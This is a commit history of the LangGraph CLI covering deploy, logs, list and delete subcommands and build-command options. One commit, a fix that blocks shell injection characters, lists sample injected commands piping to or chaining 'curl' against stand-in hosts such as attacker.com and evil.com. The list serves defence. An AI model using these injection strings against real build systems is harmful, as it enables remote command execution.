Commit Graph
79 Commits
Author SHA1 Message Date
David DuongandGitHub e05ba2965d feat(cli): add support for passing certfile and cert key to run dev server under HTTPS (#8031)
This allows running the dev server under HTTPS, which is a requirement
for running local server under Safari.
2026-06-11 02:10:12 +02:00
890147681d chore(cli): add validate command (#7438)
add validate command

---------

Co-authored-by: Will Fu-Hinthorn <will@langchain.dev>
2026-04-07 18:29:24 -07:00
Asamu DavidandGitHub b3eeb4fa1d feat(cli): add remote build support for langgraph deploy (#7234)
**Description:** 

 - extend host_backend client with remote build support
- refactored `cli.py` for better clarity
- update tests
2026-04-02 16:39:30 +01:00
William FHandGitHub 0f20c3fe04 fix(cli): persist deployment name to .env after prompt (#7323)
## Summary
- When `langgraph deploy` prompts for the deployment name interactively,
persist it as `LANGSMITH_DEPLOYMENT_NAME` in the `.env` file so
subsequent deploys pick it up automatically
- Extracted `_resolve_env_path()` helper from `_parse_env_from_config()`
to share env file path resolution logic
- Skips writing when env vars are configured as an inline dict in
`langgraph.json` (no file to write to)
- **CI fix**: CLI integration tests were using `pip install` but
`setup-uv` with caching enabled, so the post-step cache save failed on a
non-existent directory — switched to `uv pip install`

## Test plan
- [x] All 207 existing unit tests pass
- [ ] Manual: run `langgraph deploy` without `--name`, enter a name at
prompt, verify `.env` now contains `LANGSMITH_DEPLOYMENT_NAME=<name>`
- [ ] Manual: run `langgraph deploy` again, verify the name is picked up
from `.env` without re-prompting
- [x] CI integration test cache fix (broken on main since Feb 2026)
2026-03-29 07:50:57 -07:00
Andrew NguonlyandGitHub cc9acc1ba9 feat(cli): Add deploy revisions list command (#7142)
### Summary
```
% langgraph deploy revisions list f5bb6e58-e2ab-40b9-9855-d6dd6d1051b6
No LangSmith API key found. Create one at Settings > API Keys in LangSmith.
Enter LangSmith API key: 
Revision ID                           Status    Created At                 
------------------------------------  --------  ---------------------------
fe05f163-58cf-4783-a918-0c78a8fab0c7  BUILDING  2026-03-12T20:47:14.626436Z
03c32fcf-544f-4517-a016-c7a7243b898d  DEPLOYED  2026-03-12T20:30:09.199275Z
29605810-29cc-4110-ac05-d43e564827d0  DEPLOYED  2026-03-12T19:56:36.232427Z
```
2026-03-19 16:55:19 -07:00
William FHandGitHub bec531980d chore: update error message (#7185) 2026-03-15 16:46:15 -07:00
hari-dhanushkodiandGitHub 4759b2464f release(cli): 0.4.16 (#7151) 2026-03-12 16:26:16 -07:00
hari-dhanushkodiandGitHub 16ab8544b2 fix(cli): use --tag for langgraph deploy (#7148)
langgraph deploy should use the `--tag/-t` instead of `--image-tag`.
This matches langgraph build
2026-03-12 15:58:08 -07:00
hari-dhanushkodiandGitHub 93a0dfec08 fix(cli): cleanup client creation code (#7140)
make following fixes for deploy cli:
- allow logs command to read in `_DEPLOYMENT_NAME_ENV`
- change prompt for api key to be more user friendly
- refactor prompt for org scoped keys
- make sure --config option is documented in deploy help
2026-03-12 11:40:49 -07:00
96199c4fee feat(cli): add langgraph deploy logs subcommand (#7100)
Add a `langgraph deploy logs` subcommand to fetch build and
deploy/server logs from LangSmith deployments.

## Changes

- **`host_backend.py`**: Add `get_build_logs()` and `get_deploy_logs()`
methods, plus `langsmith_url` support.
- **`helpers.py`** (new): Log formatting (`format_log_entry`,
`format_timestamp`, `level_fg`) and resolution helpers
(`resolve_deployment_id`).

## Usage

```bash
# Deploy logs (latest 10)
langgraph deploy logs --deployment-id <id> --limit 10

# Error logs by name
langgraph deploy logs --name gtm-agent --level ERROR

# Build logs
langgraph deploy logs --deployment-id <id> --type build

# Tail logs (Ctrl+C to stop)
langgraph deploy logs --name gtm-agent --follow
```

## Tests

56 unit tests passing covering host backend methods, log formatting, and
helper functions.

---------

Co-authored-by: hari-dhanushkodi <hari@langchain.dev>
2026-03-12 09:01:44 -07:00
hari-dhanushkodiandGitHub d595f11b43 feat(cli): add deploy list and deploy delete subcommands (#7118)
### Summary
This PR introduces a subcommand implementation that allows `langgraph
deploy list` and `langgraph deploy delete` subcommands.

#### `langgraph deploy list`
```bash
(env) andrewnguonly@Andrew-Nguonly-KC23X90J02 langgraph % langgraph deploy list --help                                                                              ⎈ gke_langchain-test-387119_us-west1_langgraph-cloud-us-west1
Usage: langgraph deploy list [OPTIONS]

  [Beta] List LangSmith Deployments.

Options:
  --name-contains TEXT  Only show deployments whose names contain this value.
  --api-key TEXT        API key. Can also be set via LANGGRAPH_HOST_API_KEY,
                        LANGSMITH_API_KEY, or LANGCHAIN_API_KEY environment
                        variable or .env file.
  --help                Show this message and exit.
```

Output example:
```bash
(env) andrewnguonly@Andrew-Nguonly-KC23X90J02 cli % langgraph deploy list
Deployment ID                         Deployment Name             Deployment URL                                                                      
------------------------------------  --------------------------  ------------------------------------------------------------------------------------
a40d6567-87c0-485a-a23d-94309a7d4519  ht-andrew-test-04           -                                                                                   
9da26acb-d0c9-4af0-af9e-f3fe8dfe85bc  ht-anirudh-deployment-test  https://ht-anirudh-deployment-test-428af4737f8a533cb2b107587eb8f38f.us.langgraph.app/
```

#### `langgraph deploy delete`
```bash
(env) andrewnguonly@Andrew-Nguonly-KC23X90J02 langgraph % langgraph deploy delete --help                                                                            ⎈ gke_langchain-test-387119_us-west1_langgraph-cloud-us-west1
Usage: langgraph deploy delete [OPTIONS] DEPLOYMENT_ID

  [Beta] Delete a LangSmith Deployment.

Options:
  --force         Delete without prompting for confirmation.
  --api-key TEXT  API key. Can also be set via LANGGRAPH_HOST_API_KEY,
                  LANGSMITH_API_KEY, or LANGCHAIN_API_KEY environment variable
                  or .env file.
  --help          Show this message and exit.
```

Output example:
```bash
(env) andrewnguonly@Andrew-Nguonly-KC23X90J02 cli % langgraph deploy delete a40d6567-87c0-485a-a23d-94309a7d4519
Are you sure you want to delete deployment ID a40d6567-87c0-485a-a23d-94309a7d4519? (Y/n): Y
Host API key: 
Deleted deployment a40d6567-87c0-485a-a23d-94309a7d4519.
```

```bash
(env) andrewnguonly@Andrew-Nguonly-KC23X90J02 cli % langgraph deploy delete a40d6567-87c0-485a-a23d-94309a7d4519
Are you sure you want to delete deployment ID a40d6567-87c0-485a-a23d-94309a7d4519? (Y/n): n
Aborted!
```

```bash
(env) andrewnguonly@Andrew-Nguonly-KC23X90J02 cli % langgraph deploy delete 9da26acb-d0c9-4af0-af9e-f3fe8dfe85bc --force
Host API key: 
Deleted deployment 9da26acb-d0c9-4af0-af9e-f3fe8dfe85bc.
```
2026-03-11 15:33:32 -07:00
Andrew NguonlyandGitHub 7488cf2448 fix: Revert "feat(cli): Add deploy list and deploy delete subcommands" (#7116)
Reverts langchain-ai/langgraph#7106

This PR broke the `langgraph deploy` command flags.
2026-03-11 10:56:31 -07:00
Andrew NguonlyandGitHub e77201cbb1 feat(cli): Add deploy list and deploy delete subcommands (#7106)
### Summary
This PR introduces a subcommand implementation that allows `langgraph
deploy list` and `langgraph deploy delete` subcommands.

#### `langgraph deploy list`
```bash
(env) andrewnguonly@Andrew-Nguonly-KC23X90J02 langgraph % langgraph deploy list --help                                                                              ⎈ gke_langchain-test-387119_us-west1_langgraph-cloud-us-west1
Usage: langgraph deploy list [OPTIONS]

  [Beta] List LangSmith Deployments.

Options:
  --name-contains TEXT  Only show deployments whose names contain this value.
  --api-key TEXT        API key. Can also be set via LANGGRAPH_HOST_API_KEY,
                        LANGSMITH_API_KEY, or LANGCHAIN_API_KEY environment
                        variable or .env file.
  --help                Show this message and exit.
```

Output example:
```bash
(env) andrewnguonly@Andrew-Nguonly-KC23X90J02 cli % langgraph deploy list
Deployment ID                         Deployment Name             Deployment URL                                                                      
------------------------------------  --------------------------  ------------------------------------------------------------------------------------
a40d6567-87c0-485a-a23d-94309a7d4519  ht-andrew-test-04           -                                                                                   
9da26acb-d0c9-4af0-af9e-f3fe8dfe85bc  ht-anirudh-deployment-test  https://ht-anirudh-deployment-test-428af4737f8a533cb2b107587eb8f38f.us.langgraph.app
```

#### `langgraph deploy delete`
```bash
(env) andrewnguonly@Andrew-Nguonly-KC23X90J02 langgraph % langgraph deploy delete --help                                                                            ⎈ gke_langchain-test-387119_us-west1_langgraph-cloud-us-west1
Usage: langgraph deploy delete [OPTIONS] DEPLOYMENT_ID

  [Beta] Delete a LangSmith Deployment.

Options:
  --force         Delete without prompting for confirmation.
  --api-key TEXT  API key. Can also be set via LANGGRAPH_HOST_API_KEY,
                  LANGSMITH_API_KEY, or LANGCHAIN_API_KEY environment variable
                  or .env file.
  --help          Show this message and exit.
```

Output example:
```bash
(env) andrewnguonly@Andrew-Nguonly-KC23X90J02 cli % langgraph deploy delete a40d6567-87c0-485a-a23d-94309a7d4519
Are you sure you want to delete deployment ID a40d6567-87c0-485a-a23d-94309a7d4519? (Y/n): Y
Host API key: 
Deleted deployment a40d6567-87c0-485a-a23d-94309a7d4519.
```

```bash
(env) andrewnguonly@Andrew-Nguonly-KC23X90J02 cli % langgraph deploy delete a40d6567-87c0-485a-a23d-94309a7d4519
Are you sure you want to delete deployment ID a40d6567-87c0-485a-a23d-94309a7d4519? (Y/n): n
Aborted!
```

```bash
(env) andrewnguonly@Andrew-Nguonly-KC23X90J02 cli % langgraph deploy delete 9da26acb-d0c9-4af0-af9e-f3fe8dfe85bc --force
Host API key: 
Deleted deployment 9da26acb-d0c9-4af0-af9e-f3fe8dfe85bc.
```
2026-03-11 09:12:17 -07:00
Quanzheng LongandGitHub 4ef61690c6 feat(cli): add distributed runtime support to langgraph cli (#7096) 2026-03-09 20:43:45 -07:00
65117979b4 feat(cli): add langgraph deploy (#7004)
Allow users to deploy to langsmith deployments from the langgraph-cli.
This PR makes the following changes:
1. Add a simple host backend client with httpx
2. Adjust `progress.py` to show elapsed time for commands, and also use
threading.Event to stop the spinner
3. Adjust `_build` to allow arbitrary command so we can pass `docker
buildx build` and default to `docker build`
4. Add new `deploy` command, this re-uses a lot of the `langgraph build`
functionality, and then uses the new host-backend client to push the
built image to langsmith deployments.

---------

Co-authored-by: David Asamu <david.asamu@langchain.dev>
2026-03-09 18:11:34 -07:00
e00a027579 fix(cli): block shell injection chars in build/install commands (#7044)
## Summary
- Adds `|`, `;`, `$`, `>`, `<`, `\t` to `DISALLOWED_BUILD_COMMAND_CHARS`
to prevent command injection in CLI `build_command` / `install_command`
parameters
- Previously these values were interpolated directly into Dockerfile
`RUN` directives with no validation
- Single `&` is blocked (background execution) while `&&` remains
allowed since it's commonly used in build commands (e.g. `npm install &&
npm build`)
- Adds `has_disallowed_build_command_content()` validation function and
applies it in the `build` CLI command
- Mirrors langchain-ai/langchainplus#19143

**Attack examples now blocked:**
- `pip install foo | curl attacker.com` (pipe)
- `npm install; curl evil.com` (semicolon)
- `pip install $(whoami)` (command substitution)
- `pip install ${IFS}evil` (variable expansion)
- `npm install & curl evil.com` (background execution)

## Test Plan
- [x] 27 new unit tests covering all disallowed chars, injection
patterns, single `&` rejection, `&&` allowance, and valid commands
- [x] All 64 tests in `test_config.py` pass (37 existing + 27 new)

🤖 Generated with [Claude Code](https://claude.com/claude-code)

---------

Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-06 21:14:57 +00:00
William FHandGitHub a3823395cf chore(cli): pass checkpointer config to CLI (#7003) 2026-03-02 21:12:22 +00:00
William FHandGitHub c80d93c78a fix(cli): Escape variable substitution in compose codegen (#6594) 2025-12-15 14:51:03 -08:00
William FHandGitHub 6c6978918e chore(cli): Pass through webhook configuration in dev server (#6557) 2025-12-09 07:05:15 -08:00
Sydney RunkleandGitHub 2d3121a17c chore: drop Python 3.9 (and syntax) (#6289)
* `strict=False` is the default, pyupgrade to min version 3.10 adds this
to be explicit w/ behavior
2025-10-16 20:17:46 -04:00
Sam CrowderandGitHub 9b46cba1fb fix: rename away from LangGraph Platform (#6281)
some of these changes were obvious, and some were less obvious. In a few
spots, it felt like a judgement call if we should be saying LangSmith
Deployment of LangGraph Server. But hopefully either works.
2025-10-15 11:27:15 -07:00
Sam CrowderandGitHub f7fe7c6698 fix: Revert "fix(cli): rename studio to debugger (#6246)" (#6261) 2025-10-09 23:35:36 +00:00
Sam CrowderandGitHub a0599139b8 fix(cli): rename studio to debugger (#6246)
begin process of renaming Studio to Debugger

keep --studio-url around for now as an option as well
2025-10-08 09:40:26 -07:00
d503c0bf33 WIP: monorepo support in CLI (#6028)
This PR introduces the `--build-command` and `--install-command`
arguments to `langgraph build`.

`--install-command` is a custom install command. If passed, it will be
run from wherever the `langgraph build` call was made, i.e. NOT where
the langgraph.json file lives (except if these are the same place). This
will override the detected install command that we previously used.

`--build-command` is a custom build command. This will run from wherever
the langgraph.json file lives, and will be done after the install has
been run.

You don't need to provide both. Just providing one will make the install
(detected or supplied) run in the directory from where `langgraph build
was called` and then have the build command (if one exists) run in the
directory where langgraph.json exists.

I think we should probably allow configuring the directories from which
these commands get run, but I don't think this needs to be part of the
MVP.

---------

Co-authored-by: William FH <13333726+hinthornw@users.noreply.github.com>
2025-09-04 12:29:11 -07:00
David Asamu 40fa69f8ee lint and format fixes 2025-07-23 15:39:34 +01:00
David Asamu 9f0abf014d format changed files 2025-07-19 03:06:17 +01:00
David Asamu 8d6cd15669 add api-version option 2025-07-19 02:55:47 +01:00
Sam CrowderandGitHub 0a8ba20f5f docs: remove beta flag on self hosted plane (#5288) 2025-06-30 22:41:05 -04:00
1a76f6a92a 🐛 [CLI] Generate one --build-context argument for each dependency in the docker build command. (#4962)
* Generate one `--build-context` for each dependency in the `docker build` command.

* Try and fix test

---------

Co-authored-by: Nuno Campos <nuno@langchain.dev>
2025-06-04 22:48:48 +00:00
David Asamu 1e8f5dd2b6 add warning when image distro is not configured as wolfi 2025-05-30 00:25:27 +01:00
Sydney RunkleandGitHub 228a08b966 ci: migrate to uv! (#4698)
* Migrate to `uv`
* Format `pyproject.toml` files properly
* Remove upper bounds on dependencies, and bounds on dev dependencies
(we should be using latest)
* Move to hatch for packaing

In the future we should:
* Set up dependabot / automate lockfile updates and tests
* Add tests for min compatible versions (I'll do this right after merge)
* Use dynamic versioning
* Bump `pydantic` to v2.11.4 in the lockfile, we have some tests failing
2025-05-15 17:39:14 -07:00
Lauren Hirata Singh f5423783f7 Change LG Cloud > Platform 2025-05-12 12:44:50 -07:00
William FHandGitHub 62069439fc feat: support --base-image in langgraph dockerfile command (#4628) 2025-05-09 18:35:33 +00:00
William FHandGitHub fcd06acd33 Add support for specifying a custom base image in docker commands (#4500)
build & dockerfile commands

can be specified via CLI  > langgraph.json
2025-05-01 23:13:49 +00:00
William FHandGitHub a2035eeb11 Update CLI (#4488)
Remove maxbound for langgraph-api and runtime inmem.

Update min-bound.

Add server log level flag for dev
2025-04-30 18:23:41 -07:00
William FHandGitHub 05f21a384b Add image arg to up command (#4385)
Using this argument, you can get more customization since you can do
`langgraph build` or directly `docker build` your image and then re-use
the `langgraph up --image my-image` and have it also spin up redis &
postgres for you.

Easier then writing your own compose file
2025-04-23 07:48:01 -07:00
William FHandGitHub a5f5d0c4df Expose --tunnel flag to dev command (#4370)
Signed-off-by: William Fu-Hinthorn <13333726+hinthornw@users.noreply.github.com>
2025-04-22 14:23:09 +00:00
Tat Dat Duong 436902e5a3 Consolidate node_version and python_version fix 2025-04-11 01:04:26 +02:00
Tat Dat Duong 0ac6a96c6e Fix up 2025-04-11 00:41:16 +02:00
Tat Dat Duong e0be9ae2ef feat(cli): add multiplatform support
Uses new `install-node.sh` script already used for Python Gen UI, add default `node_version` / `python_version` based on provided `graphs`
2025-04-10 23:52:49 +02:00
Tat Dat Duong 6919de8b3e feat(cli): pass ui and ui config to inmem server 2025-04-03 13:48:14 +02:00
William Fu-Hinthorn 9bd78ed483 Allow blocking in dev
Signed-off-by: William Fu-Hinthorn <13333726+hinthornw@users.noreply.github.com>
2025-04-01 05:45:47 -07:00
William Fu-Hinthorn 9c36a7de85 Add studio URL flag 2025-03-21 11:20:29 -07:00
William Fu-Hinthorn 23bb5369b9 Studio cli command 2025-03-20 17:51:08 -07:00
William FHandGitHub 4875973ac5 [CLI] Support http config (#3505)
Right now requires that the file be in one of the local
packages/dependencies.
2025-02-19 08:52:00 -08:00
Nuno Campos 5a8624fdfd cli: Add support for dependencies in parent directories
- Now supporting local dependencies in directories that are not contained in the docker context (ie. outside the folder containing langgraph.json)
- This is achieved by passing each parent directorty as an additional context to docker build
- This makes it a lot easier to build projects contained in monorepos where you need to include some sibling/parent folder as a dependency
- Also include additional comments in the generated dockerfile to delimit each section
2025-02-17 11:43:55 -08:00
Eugene YurtsevandGitHub e9b0bc4d3b cli: patch to convert graphs paths to posix (#3318)
* Convert graph paths to POSIX for docker.
* Will set up windows build in a separate PR (some issue w/ pulling down
the image) https://github.com/langchain-ai/langgraph/pull/3271
* Fix for https://github.com/langchain-ai/langgraph/issues/2061
2025-02-06 17:29:57 -05:00
Tat Dat DuongandNuno Campos e18f2b3795 fix(cli): warn users to use the JS cli for JS graphs 2025-01-17 16:07:31 -08:00
William Fu-Hinthorn 2f47d98b34 Update error message for missing dev command 2025-01-14 11:28:51 -08:00
Denis Capkovic 721945b5ce Fix config cli type from Path -> str
Config parameter in `dev` was typed as pathlib.Path, but it is actually
a string. We need to manually create a Path from the string when parsing
the config.
2024-12-16 10:52:02 +01:00